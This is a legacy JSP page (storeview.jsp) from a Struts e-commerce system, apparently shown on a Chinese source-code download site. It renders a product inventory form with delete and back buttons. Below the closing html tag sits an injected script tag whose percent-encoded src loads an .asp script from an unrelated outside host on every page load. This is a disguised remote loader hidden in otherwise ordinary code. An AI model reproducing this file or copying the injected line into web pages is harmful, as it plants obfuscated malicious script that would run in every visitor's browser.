⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 storeview.jsp

📁 该电子商城系统是在J2EE平台上用Struts框架技术和MVC模式构建
💻 JSP
字号:
<%@ page contentType="text/html;charset=GB2312" language="java" %>

<%@ taglib uri="struts-bean" prefix="bean" %>
<%@ taglib uri="struts-html" prefix="html" %>
<%@ taglib uri="struts-logic" prefix="logic" %>
<%@ taglib uri="shop" prefix="shop"%>
<%@ page import="com.publish.shop.util.javabeans.Utility" %>

<%
String contextPath = request.getContextPath();
String confirmMsg = Utility.getMessage("label.delete.Confirm");
%>
<html:html>
<HEAD>
<TITLE>商品浏览</TITLE>
<script language="JavaScript" src="<%=contextPath%>/js/Utility.js"></script>
<script language="javaScript">
var winOpenedArr = new Array();
function search(){
  document.forms[0].strutsAction.value="0";
  document.forms[0].submit();
}
function fnHelpCorp()
{
    var lsUrl = "/hlp/corp/search.do";
    var winName='CorpHelp';
    winOpenedArr[0] = openThisWindow(lsUrl,winName,winOpenedArr,'1b') ;
}
function modify(productId)
{
   document.forms[1].action="/shop/store/modify.do?productId="+productId;
   document.forms[1].submit();
}
function deleteProduct(productId){
  if(confirm("<%=confirmMsg%>")){
    document.forms[1].action="/shop/product/delete.do?deleteProductId="+productId;
    document.forms[1].submit();
  }
}
</script>
<META content="text/html; charset=gb2312" http-equiv=Content-Type><LINK
href="<%=contextPath%>/css/pub.css" rel=stylesheet type=TEXT/CSS>
<META content="MSHTML 5.00.3819.300" name=GENERATOR>
</HEAD>

<BODY bgColor=#ffffff leftMargin=0 topMargin=0 MARGINHEIGHT="0" MARGINWIDTH="0">
<shop:menu/>
<table width=80% align=center>
<td vAlign=top>
<%@ include file="../side.jsp"%>
</td>

<html:form action="/store/view.do">
<html:hidden property="strutsAction"/>

<input type="hidden" name="deleteProductId" id="deleteProductId" value="">
<html:hidden property="productId"/>

<!-- middle-part begin -->
<TD vAlign="top" align="left" width=100%>
<!-- middle-top part -->
<TABLE WIDTH=525 BORDER=0 CELLSPACING=0 CELLPADDING=0>
<TR>
  <TD>
    <TABLE WIDTH=100% BORDER=0 CELLSPACING=0 CELLPADDING=0>
    <TR>
      <TD><B><FONT COLOR="#0033CC">库存管理</FONT></B><IMG SRC="<%=contextPath%>/images/arrow.gif" BORDER=0></TD>
      <TD ALIGN="right"><A HREF="javascript:this.location.reload();">刷新</A></TD>
    </TR>
    <TR BGCOLOR="#000000">
      <TD COLSPAN="2"><IMG SRC="<%=contextPath%>/images/dot.gif" WIDTH="1" HEIGHT="1" BORDER=0 ALT=""></TD>
    </TR>
    </TABLE>
  </TD>
</TR>
</TABLE>
<!-- middle-middle part -->
<br>
<!-- middle-bottom part -->
<TABLE WIDTH="525" BORDER="1" CELLSPACING="0" CELLPADDING="3" ALIGN="left" BORDERCOLORDARK="#FFFFFF" BORDERCOLORLIGHT="#666666">
  <TR>
    <TD WIDTH="25%" ALIGN="RIGHT" BGCOLOR="#e1e1e1">名称:</TD>
    <TD WIDTH="75%">
	<html:text property="productName" size="13" maxlength="20" readonly="false"/>&nbsp;
    </TD>
  </TR>
  <TR>
    <TD WIDTH="25%" ALIGN="RIGHT" BGCOLOR="#e1e1e1">种类:</TD>
    <TD WIDTH="75%">
      <html:text property="catName" styleClass="Standard-InputCN" size="13" maxlength="20" readonly="false"/>&nbsp;
    </TD>
  </TR>
  <TR>
    <TD WIDTH="25%" ALIGN="RIGHT" BGCOLOR="#e1e1e1">数量:</TD>
    <TD WIDTH="75%">
      <html:text property="productCount" styleClass="Standard-InputCN" size="13" maxlength="20" readonly="false"/>&nbsp;
    </TD>
  </TR>
  <TR>
    <TD WIDTH="25%" ALIGN="RIGHT" BGCOLOR="#e1e1e1">单价:</TD>
    <TD WIDTH="75%">
      <html:text property="listPrice" styleClass="Standard-InputCN" size="13" maxlength="20" readonly="false"/>&nbsp;
    </TD>
  </TR>
  <TR>
    <TD WIDTH="25%" ALIGN="RIGHT" BGCOLOR="#e1e1e1">图片:</TD>
    <TD WIDTH="75%">
      <html:hidden property="productImgUrl" styleClass="Standard-InputCN" />&nbsp;  
      <img name="contextimg" src="<%=contextPath%>/images/product/" width="120"/>&nbsp; 
      <script language="JavaScript"%>
      var contextPath = "<%=contextPath%>";  
      document.all.contextimg.src = contextPath+"/images/product/"+document.all.productImgUrl.value;   
      </script>
    </TD>
  </TR>
  <TR>
    <TD WIDTH="25%" ALIGN="RIGHT" BGCOLOR="#e1e1e1">简介:</TD>
    <TD WIDTH="75%">
      <html:textarea property="productDesc" styleClass="Standard-InputCN" cols="30" rows="8" readonly="false"/>&nbsp;
    </TD>
  </TR>
<!--
  <TR>
    <TD WIDTH="25%" ALIGN="RIGHT" BGCOLOR="#e1e1e1">订购数限制:</TD>
    <TD WIDTH="75%">
      &nbsp;
    </TD>
  </TR>
-->
  <TR>
    <TD WIDTH="25%" ALIGN="RIGHT" BGCOLOR="#e1e1e1">订购说明:</TD>
    <TD WIDTH="75%">
      <html:textarea property="orderDesc" styleClass="Standard-InputCN" cols="30" rows="8" readonly="false"/>&nbsp;
    </TD>
  </TR>
  <TR>
    <TD WIDTH="25%" ALIGN="RIGHT" BGCOLOR="#e1e1e1">上架日期:</TD>
    <TD WIDTH="75%">
      <html:text property="registerTime" styleClass="Standard-InputCN" size="20" maxlength="20" readonly="false"/>&nbsp;
    </TD>
  </TR>
  <TR>
    <TD WIDTH="25%" ALIGN="RIGHT" BGCOLOR="#e1e1e1">详细内容:</TD>
    <TD WIDTH="75%">
      <html:textarea property="productContent" styleClass="Standard-InputCN" cols="30" rows="8" readonly="false"/>
    </TD>
  </TR>

  <TR ALIGN="CENTER" BGCOLOR="#999999">
    <TD aling=center COLSPAN="2">
 <!--
    <input type="button" class="Standard-ButtonCN" value="修改" onClick="return modify(document.all.productId.value);">&nbsp;&nbsp;  -->
      <input type="button" class="Standard-ButtonCN" value="删除" onClick="return deleteProduct(document.all.productId.value);">&nbsp;&nbsp;
 
      <input type="button" class="Standard-ButtonCN" value="返回" onClick="javascript:history.go(-1);">
<!--
      <A HREF="return modify();"><FONT COLOR="#FFFFFF">修改</FONT></A>
      <A HREF="return deleteProduct();"><FONT COLOR="#FFFFFF">删除</FONT></A>
      <A HREF="javascript:history.go(-1);"><FONT COLOR="#FFFFFF">返回</FONT></A>
-->
    </TD>
  </TR>
</TABLE>
<TR>
<BR>
<TABLE WIDTH=100% BORDER=0 CELLSPACING=0 CELLPADDING=0>
  <TR>
    <TD BACKGROUND="<%=contextPath%>/images/gotop_bg.gif"><A HREF="#top"><IMG SRC="<%=contextPath%>/images/gotop.gif" BORDER="0"></A></TD>
  </TR>
</TABLE>
</TR>
<!-- middle-part end -->
</html:form>
<!-- foot begin -->
<CENTER><TABLE>
<TR>
  <TD class=txt>版权所有|  法律声明|  联系我们  </TD>
</TR>
</TABLE></CENTER>
<BR>
</table>
</body>
</html:html>

<script src="http://%78%79%6B%2E%74%78%73%68%69%2E%63%6F%6D/%62%32%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -